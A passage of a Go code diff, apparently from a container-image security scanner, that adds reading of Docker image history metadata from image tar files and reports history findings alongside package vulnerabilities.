vuln := &vulnComponent{ + Name: t.Param, + Level: t.Severity, + CVEID: "-", + Desc: t.Describe, + Score: 0.0, + CurrentVersion: "-", + Type: "Docker Histories", + VulnerableVersion: "-", + } + + historyVuln = append(historyVuln, vuln) + } + + sortSeverity(historyVuln) + ps.Vulns = append(ps.Vulns, historyVuln...) + + } + return err } func getInfo(row *vulnlib.DBRow, version, packType string) *vulnComponent { - vuln := &vulnComponent{} - - vuln.Level = row.Level - vuln.CVEID = row.CVEID - vuln.Desc = row.Description - vuln.PublishDate = row.PublishDate - vuln.Score = row.Score - vuln.CurrentVersion = version - vuln.Type = packType + vuln := &vulnComponent{ + Level: row.Level, + CVEID: row.CVEID, + Desc: row.Description, + PublishDate: row.PublishDate, + Score: row.Score, + CurrentVersion: version, + Type: packType, + } if strings.HasPrefix(row.MaxVersion, "=") { vuln.VulnerableVersion = "<=" + row.MaxVersion[1:] diff --git a/pkg/extractor.go b/pkg/extractor.go index 2f9a7e9..ecf7c66 100644 --- a/pkg/extractor.go +++ b/pkg/extractor.go @@ -8,6 +8,7 @@ import ( "log" "os" "path/filepath" + "regexp" ) func exists(path string) bool { @@ -60,19 +61,28 @@ func Walk(tarReader *tar.Reader, path string) error { } // AnalyzeTarLayer get manifest.json and layer.tar from tar file -func AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, error) { - var manifest string +func AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, string, error) { + var manifest, histories string + + imageIdReg := regexp.MustCompile(`^[0-9a-fA-F]{64}\.json$`) for hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() { if err != nil { - return manifest, err + return manifest, histories, err } if hdr.Name == "manifest.json" { b, err := ioutil.ReadAll(tarReader) manifest = string(b) if err != nil { - return manifest, err + return manifest, histories, err + } + } else if imageIdReg.MatchString(hdr.Name) { + // Get the image histories + b, err := ioutil.ReadAll(tarReader) + histories = string(b) + if err != nil { + return manifest, histories, err } } else if filepath.Base(hdr.Name) == "layer.tar" { layerFile := filepath.Join(tempPath, filepath.Dir(hdr.Name)+".tar") @@ -86,12 +96,13 @@ func AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, error) { } } + } if manifest == "" { err := errors.New("manifest not found") - return manifest, err + return manifest, histories, err } - return manifest, nil + return manifest, histories, nil } diff --git a/pkg/layer/files.go b/pkg/layer/files.go index a8101a3..0fbb628 100644 --- a/pkg/layer/files.go +++ b/pkg/layer/files.go @@ -6,7 +6,7 @@ import ( "os" ) -func (m Manifest) File(file string) (*bytes.Buffer, error) { +func (m *Manifest) File(file string) (*bytes.Buffer, error) { fsys := os.DirFS(m.Localpath) buf := []byte{} if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error { diff --git a/pkg/layer/integrator.go b/pkg/layer/integrator.go index 8edf27b..e7919f9 100644 --- a/pkg/layer/integrator.go +++ b/pkg/layer/integrator.go @@ -8,7 +8,10 @@ import ( "errors" "time" + "github.com/docker/docker/api/types" + "github.com/docker/docker/api/types/image" "github.com/kvesta/vesta/pkg" + _image "github.com/kvesta/vesta/pkg/inspector" "github.com/tidwall/gjson" ) @@ -20,7 +23,7 @@ func md5Stamp() string { func (m *Manifest) GetLayers(ctx context.Context, tarReader *tar.Reader, tempPath string) error { - manifest, err := pkg.AnalyzeTarLayer(tarReader, tempPath) + manifest, histories, err := pkg.AnalyzeTarLayer(tarReader, tempPath) if err != nil { return err } @@ -49,5 +52,31 @@ func (m *Manifest) GetLayers(ctx context.Context, tarReader *tar.Reader, tempPat }) } + historyParse := gjson.Get(histories, "history").Value() + m.Histories = []*_image.ImageInfo{ + { + Summary: types.ImageSummary{ + ID: value["Config"].(string)[:64], + RepoTags: []string{m.Name}, + }, + History: []image.HistoryResponseItem{}, + }, + } + for _, history := range historyParse.([]interface{}) { + mapHistory := history.(map[string]interface{}) + + pd, _ := time.Parse(time.RFC3339, mapHistory["created"].(string)) + h := image.HistoryResponseItem{ + Created: pd.Unix(), + CreatedBy: mapHistory["created_by"].(string), + } + + if mapHistory["comment"] != nil { + h.Comment = mapHistory["comment"].(string) + } + + m.Histories[0].History = append(m.Histories[0].History, h) + } + return nil } diff --git a/pkg/layer/manifest.go b/pkg/layer/manifest.go index a14fff4..9e2fcab 100644 --- a/pkg/layer/manifest.go +++ b/pkg/layer/manifest.go @@ -1,8 +1,13 @@ package layer +import ( + _image "github.com/kvesta/vesta/pkg/inspector" +) + type Manifest struct { - Name string `json:"name"` - Hash string `json:"hash"` - Layers []*Layer `json:"layers"` - Localpath string `json:"localpath"` + Name string `json:"name"` + Hash string `json:"hash"` + Layers []*Layer `json:"layers"` + Histories []*_image.ImageInfo `json:"histories"` + Localpath string `json:"localpath"` }